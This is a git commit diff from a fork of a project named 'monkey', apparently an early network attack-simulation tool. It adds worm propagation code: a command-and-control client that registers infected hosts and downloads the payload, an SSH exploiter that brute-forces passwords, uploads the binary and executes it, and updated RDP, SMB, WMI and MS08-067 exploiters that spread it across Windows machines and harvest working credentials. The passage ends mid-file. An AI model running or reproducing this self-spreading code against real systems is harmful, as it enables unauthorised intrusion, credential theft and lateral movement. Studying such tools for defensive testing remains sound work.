forked from p15670423/monkey
- c&c
- support for virtual files (monkeyfs) - ssh exploitation - some linux support issues fixed
This commit is contained in:
parent
7697f5fce9
commit
8dc7b38d56
|
@ -27,7 +27,6 @@ var/
|
|||
# Usually these files are written by a python script from a template
|
||||
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||
*.manifest
|
||||
*.spec
|
||||
|
||||
# Installer logs
|
||||
pip-log.txt
|
||||
|
|
|
@ -3,29 +3,122 @@ import json
|
|||
import random
|
||||
import logging
|
||||
import requests
|
||||
from config import WormConfiguration
|
||||
import platform
|
||||
import monkeyfs
|
||||
from network.info import local_ips
|
||||
from socket import gethostname, gethostbyname_ex
|
||||
from config import WormConfiguration, Configuration, GUID
|
||||
|
||||
__author__ = 'itamar'
|
||||
__author__ = 'hoffer'
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
DOWNLOAD_CHUNK = 1024
|
||||
|
||||
class ControlClient(object):
|
||||
@staticmethod
|
||||
def get_control_config():
|
||||
try:
|
||||
reply = requests.get("http://%s/orders/%s" % (WormConfiguration.command_server,
|
||||
"".join([chr(random.randint(0,255)) for _ in range(32)]).encode("base64").strip()))
|
||||
|
||||
@staticmethod
|
||||
def wakeup(parent=None):
|
||||
for server in WormConfiguration.command_servers:
|
||||
try:
|
||||
hostname = gethostname()
|
||||
if None == parent:
|
||||
parent = GUID
|
||||
|
||||
WormConfiguration.current_server = server
|
||||
|
||||
monkey = { 'guid': GUID,
|
||||
'hostname' : hostname,
|
||||
'ip_addresses' : local_ips(),
|
||||
'description' : " ".join(platform.uname()),
|
||||
'config' : WormConfiguration.as_dict(),
|
||||
'parent' : parent
|
||||
}
|
||||
|
||||
reply = requests.post("https://%s/api/monkey" % (server,),
|
||||
data=json.dumps(monkey),
|
||||
headers={'content-type' : 'application/json'},
|
||||
verify=False)
|
||||
|
||||
break
|
||||
|
||||
except Exception, exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.command_server, exc)
|
||||
server, exc)
|
||||
|
||||
@staticmethod
|
||||
def keepalive():
|
||||
try:
|
||||
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
|
||||
data=json.dumps({}),
|
||||
headers={'content-type' : 'application/json'},
|
||||
verify=False)
|
||||
except Exception, exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
||||
return {}
|
||||
|
||||
@staticmethod
|
||||
def send_telemetry(tele_type='general',data=''):
|
||||
try:
|
||||
telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data' : data}
|
||||
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
|
||||
data=json.dumps(telemetry),
|
||||
headers={'content-type' : 'application/json'},
|
||||
verify=False)
|
||||
|
||||
except Exception, exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
||||
|
||||
@staticmethod
|
||||
def load_control_config():
|
||||
try:
|
||||
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), verify=False)
|
||||
|
||||
except Exception, exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
||||
return
|
||||
|
||||
try:
|
||||
return json.loads(reply._content)
|
||||
except ValueError, exc:
|
||||
WormConfiguration.from_dict(reply.json().get('config'))
|
||||
except Exception, exc:
|
||||
LOG.warn("Error parsing JSON reply from control server %s (%s): %s",
|
||||
WormConfiguration.command_server, reply._content, exc)
|
||||
return {}
|
||||
WormConfiguration.current_server, reply._content, exc)
|
||||
|
||||
@staticmethod
|
||||
def download_monkey_exe(host):
|
||||
try:
|
||||
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
|
||||
data=json.dumps(host.as_dict()),
|
||||
headers={'content-type' : 'application/json'},
|
||||
verify=False)
|
||||
|
||||
if 200 == reply.status_code:
|
||||
result_json = reply.json()
|
||||
filename = result_json.get('filename')
|
||||
if not filename:
|
||||
return None
|
||||
size = result_json.get('size')
|
||||
dest_file = monkeyfs.virtual_path(filename)
|
||||
if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file):
|
||||
return dest_file
|
||||
else:
|
||||
download = requests.get("https://%s/api/monkey/download/%s" % (WormConfiguration.current_server, filename),
|
||||
verify=False)
|
||||
with monkeyfs.open(dest_file, 'wb') as file_obj:
|
||||
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
|
||||
if chunk:
|
||||
file_obj.write(chunk)
|
||||
file_obj.flush()
|
||||
if size == monkeyfs.getsize(dest_file):
|
||||
return dest_file
|
||||
|
||||
except Exception, exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
||||
|
||||
return None
|
||||
|
||||
|
|
|
@ -8,11 +8,15 @@ import pprint
|
|||
import logging
|
||||
import subprocess
|
||||
from ctypes import c_char_p
|
||||
from win32process import DETACHED_PROCESS
|
||||
from control import ControlClient
|
||||
from model import MONKEY_CMDLINE
|
||||
from config import WormConfiguration
|
||||
|
||||
if "win32" == sys.platform:
|
||||
from win32process import DETACHED_PROCESS
|
||||
else:
|
||||
DETACHED_PROCESS = 0
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
@ -21,14 +25,13 @@ MOVEFILE_DELAY_UNTIL_REBOOT = 4
|
|||
|
||||
class MonkeyDrops(object):
|
||||
def __init__(self, args):
|
||||
if 1 < len(args):
|
||||
LOG.debug("Invalid arguments count for dropper")
|
||||
raise ValueError("Invalid arguments count for dropper")
|
||||
|
||||
if args:
|
||||
dest_path = os.path.expandvars(args[0])
|
||||
else:
|
||||
dest_path = os.path.expandvars(WormConfiguration.dropper_target_path)
|
||||
dest_path = os.path.expandvars(WormConfiguration.dropper_target_path if sys.platform == "win32" \
|
||||
else WormConfiguration.dropper_target_path_linux)
|
||||
|
||||
self._monkey_args = args[1:]
|
||||
|
||||
self._config = {'source_path': os.path.abspath(sys.argv[0]),
|
||||
'destination_path': args[0]}
|
||||
|
@ -36,8 +39,6 @@ class MonkeyDrops(object):
|
|||
def initialize(self):
|
||||
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
|
||||
|
||||
new_config = ControlClient.get_control_config()
|
||||
|
||||
def start(self):
|
||||
# we copy/move only in case path is different
|
||||
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower())
|
||||
|
@ -87,6 +88,9 @@ class MonkeyDrops(object):
|
|||
|
||||
monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'],
|
||||
}
|
||||
|
||||
if 0 != len(self._monkey_args):
|
||||
monkey_cmdline = "%s %s" % (monkey_cmdline, " ".join(self._monkey_args))
|
||||
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
|
||||
stdin=None, stdout=None, stderr=None,
|
||||
close_fds=True, creationflags=DETACHED_PROCESS)
|
||||
|
|
|
@ -1,16 +1,20 @@
|
|||
|
||||
from abc import ABCMeta, abstractmethod
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
class HostExploiter(object):
|
||||
__metaclass__ = ABCMeta
|
||||
_target_os_type = []
|
||||
|
||||
def is_os_supported(self, host):
|
||||
return host.os.get('type') in self._target_os_type
|
||||
|
||||
@abstractmethod
|
||||
def exploit_host(self, host):
|
||||
def exploit_host(self, host, src_path=None):
|
||||
raise NotImplementedError()
|
||||
|
||||
from win_ms08_067 import Ms08_067_Exploiter
|
||||
from wmiexec import WmiExploiter
|
||||
from smbexec import SmbExploiter
|
||||
from rdpgrinder import RdpExploiter
|
||||
from sshexec import SSHExploiter
|
|
@ -13,12 +13,15 @@ from exploit import HostExploiter
|
|||
from exploit.tools import HTTPTools
|
||||
from model import RDP_CMDLINE_HTTP_BITS
|
||||
from model.host import VictimHost
|
||||
from network.tools import check_port_tcp
|
||||
from exploit.tools import get_target_monkey
|
||||
__author__ = 'hoffer'
|
||||
|
||||
KEYS_INTERVAL = 0.1
|
||||
MAX_WAIT_FOR_UPDATE = 120
|
||||
KEYS_SENDER_SLEEP = 0.01
|
||||
DOWNLOAD_TIMEOUT = 60
|
||||
RDP_PORT = 3389
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
def twisted_log_func(*message, **kw):
|
||||
|
@ -147,7 +150,8 @@ class CMDClientFactory(rdp.ClientFactory):
|
|||
self._domain = domain
|
||||
self._keyboard_layout = "en"
|
||||
# key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
|
||||
self._keys = [ScanCodeEvent(91,True,True),
|
||||
self._keys = [SleepEvent(1),
|
||||
ScanCodeEvent(91,True,True),
|
||||
ScanCodeEvent(19,True),
|
||||
ScanCodeEvent(19,False),
|
||||
ScanCodeEvent(91,False,True), WaitUpdateEvent()] + str_to_keys("cmd /v") + [WaitUpdateEvent(), ScanCodeEvent(28,True),
|
||||
|
@ -205,16 +209,36 @@ class CMDClientFactory(rdp.ClientFactory):
|
|||
self.done_event.set()
|
||||
|
||||
class RdpExploiter(HostExploiter):
|
||||
_target_os_type = ['windows']
|
||||
|
||||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
|
||||
def exploit_host(self, host, src_path, port=3389):
|
||||
def is_os_supported(self, host):
|
||||
if host.os.get('type') in self._target_os_type:
|
||||
return True
|
||||
|
||||
if not host.os.get('type'):
|
||||
is_open,_ = check_port_tcp(host.ip_addr, RDP_PORT)
|
||||
if is_open:
|
||||
host.os['type'] = 'windows'
|
||||
return True
|
||||
return False
|
||||
|
||||
def exploit_host(self, host, src_path=None):
|
||||
global g_reactor
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
if not g_reactor.is_alive():
|
||||
g_reactor.daemon = True
|
||||
g_reactor.start()
|
||||
is_open,_ = check_port_tcp(host.ip_addr, RDP_PORT)
|
||||
if not is_open:
|
||||
LOG.info("RDP port is closed on %r, skipping", host)
|
||||
return False
|
||||
|
||||
src_path = src_path or get_target_monkey(host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||
return False
|
||||
|
||||
# create server for http download.
|
||||
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
|
||||
|
@ -228,6 +252,10 @@ class RdpExploiter(HostExploiter):
|
|||
passwords.remove(known_password)
|
||||
passwords.insert(0, known_password)
|
||||
|
||||
if not g_reactor.is_alive():
|
||||
g_reactor.daemon = True
|
||||
g_reactor.start()
|
||||
|
||||
exploited = False
|
||||
for password in passwords:
|
||||
try:
|
||||
|
@ -239,12 +267,13 @@ class RdpExploiter(HostExploiter):
|
|||
|
||||
client_factory = CMDClientFactory(self._config.psexec_user, password, "", command)
|
||||
|
||||
reactor.connectTCP(host.ip_addr, port, client_factory)
|
||||
reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory)
|
||||
|
||||
client_factory.done_event.wait()
|
||||
|
||||
if client_factory.success:
|
||||
exploited = True
|
||||
host.learn_credentials(self._config.psexec_user, password)
|
||||
break
|
||||
|
||||
except Exception, exc:
|
||||
|
|
|
@ -1,17 +1,10 @@
|
|||
#!/usr/bin/env python
|
||||
#############################################################################
|
||||
# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
|
||||
# www.hackingspirits.com
|
||||
# www.coffeeandsecurity.com
|
||||
# Email: d3basis.m0hanty @ gmail.com
|
||||
#############################################################################
|
||||
|
||||
import sys
|
||||
from logging import getLogger
|
||||
from model.host import VictimHost
|
||||
from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED
|
||||
from exploit import HostExploiter
|
||||
from exploit.tools import SmbTools
|
||||
from exploit.tools import SmbTools, get_target_monkey
|
||||
from network import SMBFinger
|
||||
|
||||
try:
|
||||
from impacket import smb
|
||||
|
@ -32,6 +25,8 @@ except ImportError, exc:
|
|||
LOG = getLogger(__name__)
|
||||
|
||||
class SmbExploiter(HostExploiter):
|
||||
_target_os_type = ['windows']
|
||||
|
||||
KNOWN_PROTOCOLS = {
|
||||
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
|
||||
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
||||
|
@ -41,9 +36,31 @@ class SmbExploiter(HostExploiter):
|
|||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
|
||||
def exploit_host(self, host, src_path):
|
||||
def is_os_supported(self, host):
|
||||
if host.os.get('type') in self._target_os_type:
|
||||
return True
|
||||
|
||||
if not host.os.get('type'):
|
||||
is_smb_open,_ = check_port_tcp(host.ip_addr, 445)
|
||||
if is_smb_open:
|
||||
smb_finger = SMBFinger()
|
||||
smb_finger.get_host_fingerprint(host)
|
||||
else:
|
||||
is_nb_open,_ = check_port_tcp(host.ip_addr, 139)
|
||||
if is_nb_open:
|
||||
host.os['type'] = 'windows'
|
||||
return super(HostExploiter, self).is_os_supported(host)
|
||||
return False
|
||||
|
||||
def exploit_host(self, host, src_path=None):
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
src_path = src_path or get_target_monkey(host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||
return False
|
||||
|
||||
passwords = list(self._config.psexec_passwords[:])
|
||||
known_password = host.get_credentials(self._config.psexec_user)
|
||||
if known_password is not None:
|
||||
|
|
|
@ -0,0 +1,106 @@
|
|||
import os
|
||||
import paramiko
|
||||
import monkeyfs
|
||||
import logging
|
||||
from exploit import HostExploiter
|
||||
from model import MONKEY_ARG
|
||||
from exploit.tools import get_target_monkey
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
class SSHExploiter(HostExploiter):
|
||||
_target_os_type = ['linux', None]
|
||||
|
||||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
|
||||
def exploit_host(self, host, src_path=None):
|
||||
ssh = paramiko.SSHClient()
|
||||
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
||||
|
||||
passwords = list(self._config.ssh_passwords[:])
|
||||
known_password = host.get_credentials(self._config.ssh_user)
|
||||
if known_password is not None:
|
||||
if known_password in passwords:
|
||||
passwords.remove(known_password)
|
||||
passwords.insert(0, known_password)
|
||||
|
||||
exploited = False
|
||||
for password in passwords:
|
||||
try:
|
||||
ssh.connect(host.ip_addr,
|
||||
username=self._config.ssh_user,
|
||||
password=password)
|
||||
|
||||
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
|
||||
host, self._config.ssh_user, password)
|
||||
host.learn_credentials(self._config.ssh_user, password)
|
||||
exploited = True
|
||||
break
|
||||
|
||||
except Exception, exc:
|
||||
LOG.debug("Error logging into victim %r with user"
|
||||
" %s and password '%s': (%s)", host,
|
||||
self._config.ssh_user, password, exc)
|
||||
continue
|
||||
|
||||
if not exploited:
|
||||
LOG.debug("Exploiter SSHExploiter is giving up...")
|
||||
return False
|
||||
|
||||
if not host.os.get('type'):
|
||||
try:
|
||||
_, stdout, _ = ssh.exec_command('uname -o')
|
||||
uname_os = stdout.read().lower().strip()
|
||||
if 'linux' in uname_os:
|
||||
host.os['type'] = 'linux'
|
||||
else:
|
||||
LOG.info("SSH Skipping unknown os: %s", uname_os)
|
||||
return False
|
||||
except Exception, exc:
|
||||
LOG.debug("Error running uname os commad on victim %r: (%s)", host, exc)
|
||||
return False
|
||||
|
||||
if not host.os.get('machine'):
|
||||
try:
|
||||
_, stdout, _ = ssh.exec_command('uname -m')
|
||||
uname_machine = stdout.read().lower().strip()
|
||||
if '' != uname_machine:
|
||||
host.os['machine'] = uname_machine
|
||||
except Exception, exc:
|
||||
LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc)
|
||||
|
||||
|
||||
src_path = src_path or get_target_monkey(host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||
return False
|
||||
|
||||
try:
|
||||
ftp = ssh.open_sftp()
|
||||
|
||||
with monkeyfs.open(src_path) as file_obj:
|
||||
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path))
|
||||
ftp.chmod(self._config.dropper_target_path_linux, 0777)
|
||||
|
||||
ftp.close()
|
||||
except Exception, exc:
|
||||
LOG.debug("Error uploading file into victim %r: (%s)", host, exc)
|
||||
return False
|
||||
|
||||
try:
|
||||
cmdline = "%s %s&" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
||||
ssh.exec_command(cmdline)
|
||||
|
||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
self._config.dropper_target_path_linux, host, cmdline)
|
||||
|
||||
ssh.close()
|
||||
return True
|
||||
|
||||
except Exception, exc:
|
||||
LOG.debug("Error running monkey on victim %r: (%s)", host, exc)
|
||||
return False
|
|
@ -6,7 +6,9 @@ import logging
|
|||
import os.path
|
||||
import socket
|
||||
import urllib
|
||||
import monkeyfs
|
||||
from difflib import get_close_matches
|
||||
from network import local_ips
|
||||
from transport import HTTPServer
|
||||
from impacket.dcerpc.v5 import transport, srvs
|
||||
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
||||
|
@ -160,10 +162,10 @@ class WmiTools(object):
|
|||
class SmbTools(object):
|
||||
@staticmethod
|
||||
def copy_file(host, username, password, src_path, dst_path):
|
||||
assert os.path.isfile(src_path), "Source file to copy (%s) is missing" % (src_path, )
|
||||
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path, )
|
||||
|
||||
config = __import__('config').WormConfiguration
|
||||
src_file_size = os.stat(src_path).st_size
|
||||
src_file_size = monkeyfs.getsize(src_path)
|
||||
|
||||
smb, dialect = SmbTools.new_smb_connection(host, username, password)
|
||||
if not smb:
|
||||
|
@ -270,7 +272,7 @@ class SmbTools(object):
|
|||
pass # file isn't found on remote victim, moving on
|
||||
|
||||
try:
|
||||
with open(src_path, 'rb') as source_file:
|
||||
with monkeyfs.open(src_path, 'rb') as source_file:
|
||||
smb.putFile(share_name, remote_path, source_file.read)
|
||||
|
||||
file_uploaded = True
|
||||
|
@ -352,11 +354,27 @@ class HTTPTools(object):
|
|||
@staticmethod
|
||||
def create_transfer(host, src_path, local_ip=None, local_port=4444):
|
||||
if None == local_ip:
|
||||
local_hostname = socket.gethostname()
|
||||
local_ip = get_close_matches(host.ip_addr, socket.gethostbyname_ex(local_hostname)[2])[0]
|
||||
local_ip = get_close_matches(host.ip_addr, local_ips())[0]
|
||||
|
||||
httpd = HTTPServer(local_ip, local_port, src_path)
|
||||
httpd.daemon = True
|
||||
httpd.start()
|
||||
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
|
||||
def get_target_monkey(host):
|
||||
from control import ControlClient
|
||||
|
||||
if host.monkey_exe:
|
||||
return host.monkey_exe
|
||||
|
||||
if not host.os.get('type'):
|
||||
return None
|
||||
|
||||
cc_download = ControlClient.download_monkey_exe(host)
|
||||
|
||||
if host.os.get('machine') and cc_download:
|
||||
host.monkey_exe = cc_download
|
||||
|
||||
return cc_download
|
|
@ -14,7 +14,7 @@ from logging import getLogger
|
|||
from model.host import VictimHost
|
||||
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
|
||||
from exploit import HostExploiter
|
||||
from exploit.tools import SmbTools
|
||||
from exploit.tools import SmbTools, get_target_monkey
|
||||
|
||||
try:
|
||||
from impacket import smb
|
||||
|
@ -163,15 +163,42 @@ class SRVSVC_Exploit(object):
|
|||
return dce_packet
|
||||
|
||||
class Ms08_067_Exploiter(HostExploiter):
|
||||
_target_os_type = ['windows']
|
||||
_windows_versions = {'Windows Server 2003 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2,
|
||||
'Windows Server 2003 R2 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2}
|
||||
|
||||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
|
||||
def exploit_host(self, host, src_path):
|
||||
def is_os_supported(self, host):
|
||||
if host.os.get('type') in self._target_os_type and \
|
||||
host.os.get('version') in self._windows_versions.keys():
|
||||
return True
|
||||
|
||||
if not host.os.get('type') or (host.os.get('type') in self._target_os_type and \
|
||||
not host.os.get('version')):
|
||||
is_smb_open,_ = check_port_tcp(host.ip_addr, 445)
|
||||
if is_smb_open:
|
||||
smb_finger = SMBFinger()
|
||||
if smb_finger.get_host_fingerprint(host):
|
||||
return host.os.get('type') in self._target_os_type and \
|
||||
host.os.get('version') in self._windows_versions.keys()
|
||||
return False
|
||||
|
||||
def exploit_host(self, host, src_path=None):
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
src_path = src_path or get_target_monkey(host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||
return False
|
||||
|
||||
os_version = self._windows_versions.get(host.os.get('version'), WindowsVersion.Windows2003_SP2)
|
||||
|
||||
exploited = False
|
||||
for _ in range(self._config.ms08_067_exploit_attempts):
|
||||
exploit = SRVSVC_Exploit(target_addr=host.ip_addr)
|
||||
exploit = SRVSVC_Exploit(target_addr=host.ip_addr, os_version=os_version)
|
||||
|
||||
try:
|
||||
sock = exploit.start()
|
||||
|
|
|
@ -6,18 +6,26 @@ import traceback
|
|||
from model import DROPPER_CMDLINE, MONKEY_CMDLINE, MONKEY_CMDLINE_HTTP
|
||||
from model.host import VictimHost
|
||||
from exploit import HostExploiter
|
||||
from exploit.tools import SmbTools, WmiTools, HTTPTools, AccessDeniedException
|
||||
from exploit.tools import SmbTools, WmiTools, HTTPTools, AccessDeniedException, get_target_monkey
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
class WmiExploiter(HostExploiter):
|
||||
_target_os_type = ['windows']
|
||||
|
||||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
|
||||
@WmiTools.dcom_wrap
|
||||
def exploit_host(self, host, src_path):
|
||||
def exploit_host(self, host, src_path=None):
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
src_path = src_path or get_target_monkey(host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||
return False
|
||||
|
||||
passwords = list(self._config.psexec_passwords[:])
|
||||
known_password = host.get_credentials(self._config.psexec_user)
|
||||
if known_password is not None:
|
||||
|
@ -89,7 +97,6 @@ class WmiExploiter(HostExploiter):
|
|||
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
||||
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
|
||||
success = True
|
||||
raw_input()
|
||||
else:
|
||||
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
||||
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
|
||||
|
|
|
@ -4,10 +4,12 @@ import sys
|
|||
import logging
|
||||
import traceback
|
||||
import logging.config
|
||||
from config import WormConfiguration
|
||||
from config import WormConfiguration, EXTERNAL_CONFIG_FILE
|
||||
from model import MONKEY_ARG, DROPPER_ARG
|
||||
from dropper import MonkeyDrops
|
||||
from monkey import ChaosMonkey
|
||||
import getopt
|
||||
import json
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -36,7 +38,27 @@ def main():
|
|||
return True
|
||||
|
||||
monkey_mode = sys.argv[1]
|
||||
monkey_args = sys.argv[2:]
|
||||
|
||||
if not monkey_mode in [MONKEY_ARG, DROPPER_ARG]:
|
||||
return True
|
||||
|
||||
config_file = EXTERNAL_CONFIG_FILE
|
||||
|
||||
opts, monkey_args = getopt.getopt(sys.argv[2:], "c:", ["config="])
|
||||
for op, val in opts:
|
||||
if op in ("-c", "--config"):
|
||||
config_file = val
|
||||
break
|
||||
|
||||
if os.path.isfile(config_file):
|
||||
# using print because config can also change log locations
|
||||
print "Loading config from %s." % config_file
|
||||
try:
|
||||
with open(config_file) as config_fo:
|
||||
json_dict = json.load(config_fo)
|
||||
WormConfiguration.from_dict(json_dict)
|
||||
except ValueError:
|
||||
print "Error loading config, using default."
|
||||
|
||||
try:
|
||||
if MONKEY_ARG == monkey_mode:
|
||||
|
@ -71,6 +93,12 @@ def main():
|
|||
|
||||
try:
|
||||
monkey.start()
|
||||
|
||||
if WormConfiguration.serialize_config:
|
||||
with open(config_file, 'w') as config_fo:
|
||||
json_dict = WormConfiguration.as_dict()
|
||||
json.dump(json_dict, config_fo)
|
||||
|
||||
return True
|
||||
finally:
|
||||
monkey.cleanup()
|
||||
|
|
|
@ -2,10 +2,12 @@
|
|||
import sys
|
||||
import time
|
||||
import logging
|
||||
import platform
|
||||
from system_singleton import SystemSingleton
|
||||
from control import ControlClient
|
||||
from config import WormConfiguration
|
||||
from config import WormConfiguration, EXTERNAL_CONFIG_FILE
|
||||
from network.network_scanner import NetworkScanner
|
||||
import getopt
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -26,6 +28,8 @@ class ChaosMonkey(object):
|
|||
self._exploited_machines = set()
|
||||
self._fail_exploitation_machines = set()
|
||||
self._singleton = SystemSingleton()
|
||||
self._parent = None
|
||||
self._args = args
|
||||
|
||||
def initialize(self):
|
||||
LOG.info("WinWorm is initializing...")
|
||||
|
@ -33,27 +37,50 @@ class ChaosMonkey(object):
|
|||
if not self._singleton.try_lock():
|
||||
raise Exception("Another instance of the monkey is already running")
|
||||
|
||||
self._network = NetworkScanner()
|
||||
self._network.initialize()
|
||||
self._keep_running = True
|
||||
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
|
||||
self._dropper_path = sys.argv[0]
|
||||
opts, self._args = getopt.getopt(self._args, "p:", ["parent="])
|
||||
for op, val in opts:
|
||||
if op in ("-p", "--parent"):
|
||||
self._parent = val
|
||||
break
|
||||
|
||||
self._keep_running = True
|
||||
self._network = NetworkScanner()
|
||||
self._dropper_path = sys.argv[0]
|
||||
self._os_type = platform.system().lower()
|
||||
self._machine = platform.machine().lower()
|
||||
|
||||
ControlClient.wakeup(self._parent)
|
||||
ControlClient.load_control_config()
|
||||
|
||||
new_config = ControlClient.get_control_config()
|
||||
|
||||
def start(self):
|
||||
LOG.info("WinWorm is running...")
|
||||
|
||||
for _ in xrange(WormConfiguration.max_iterations):
|
||||
new_config = ControlClient.get_control_config()
|
||||
ControlClient.keepalive()
|
||||
ControlClient.load_control_config()
|
||||
|
||||
if not self._keep_running:
|
||||
self._network.initialize()
|
||||
|
||||
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
|
||||
|
||||
self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes]
|
||||
|
||||
if not self._keep_running or not WormConfiguration.alive:
|
||||
break
|
||||
|
||||
machines = self._network.get_victim_machines(WormConfiguration.scanner_class,
|
||||
max_find=WormConfiguration.victims_max_find)
|
||||
|
||||
for machine in machines:
|
||||
for finger in self._fingerprint:
|
||||
LOG.info("Trying to get OS fingerprint from %r with module %s",
|
||||
machine, finger.__class__.__name__)
|
||||
finger.get_host_fingerprint(machine)
|
||||
|
||||
ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
|
||||
'scanner' : WormConfiguration.scanner_class.__name__})
|
||||
|
||||
# skip machines that we've already exploited
|
||||
if machine in self._exploited_machines:
|
||||
LOG.debug("Skipping %r - already exploited",
|
||||
|
@ -66,11 +93,16 @@ class ChaosMonkey(object):
|
|||
|
||||
successful_exploiter = None
|
||||
for exploiter in self._exploiters:
|
||||
if not exploiter.is_os_supported(machine):
|
||||
LOG.info("Skipping exploiter %s host:%r, os is not supported",
|
||||
exploiter.__class__.__name__, machine)
|
||||
continue
|
||||
|
||||
LOG.info("Trying to exploit %r with exploiter %s...",
|
||||
machine, exploiter.__class__.__name__)
|
||||
|
||||
try:
|
||||
if exploiter.exploit_host(machine, self._dropper_path):
|
||||
if exploiter.exploit_host(machine):
|
||||
successful_exploiter = exploiter
|
||||
break
|
||||
else:
|
||||
|
@ -83,6 +115,8 @@ class ChaosMonkey(object):
|
|||
|
||||
if successful_exploiter:
|
||||
self._exploited_machines.add(machine)
|
||||
ControlClient.send_telemetry('exploit', {'machine': machine.__dict__,
|
||||
'exploiter': successful_exploiter.__class__.__name__})
|
||||
|
||||
LOG.info("Successfully propagated to %s using %s",
|
||||
machine, successful_exploiter.__class__.__name__)
|
||||
|
@ -96,6 +130,7 @@ class ChaosMonkey(object):
|
|||
else:
|
||||
self._fail_exploitation_machines.add(machine)
|
||||
|
||||
|
||||
time.sleep(WormConfiguration.timeout_between_iterations)
|
||||
|
||||
if self._keep_running:
|
||||
|
|
|
@ -0,0 +1,53 @@
|
|||
from io import BytesIO
|
||||
import os
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
MONKEYFS_PREFIX = 'monkeyfs://'
|
||||
|
||||
class VirtualFile(BytesIO):
|
||||
_vfs = {} #virtual File-System
|
||||
|
||||
def __init__(self, name, mode = 'r', buffering = None):
|
||||
if not name.startswith(MONKEYFS_PREFIX):
|
||||
name = MONKEYFS_PREFIX + name
|
||||
self.name = name
|
||||
self._mode = mode
|
||||
if VirtualFile._vfs.has_key(name):
|
||||
super(VirtualFile, self).__init__(self._vfs[name])
|
||||
else:
|
||||
super(VirtualFile, self).__init__('')
|
||||
|
||||
def flush(self):
|
||||
super(VirtualFile, self).flush()
|
||||
VirtualFile._vfs[self.name] = self.getvalue()
|
||||
|
||||
@staticmethod
|
||||
def getsize(path):
|
||||
return len(VirtualFile._vfs[path])
|
||||
|
||||
@staticmethod
|
||||
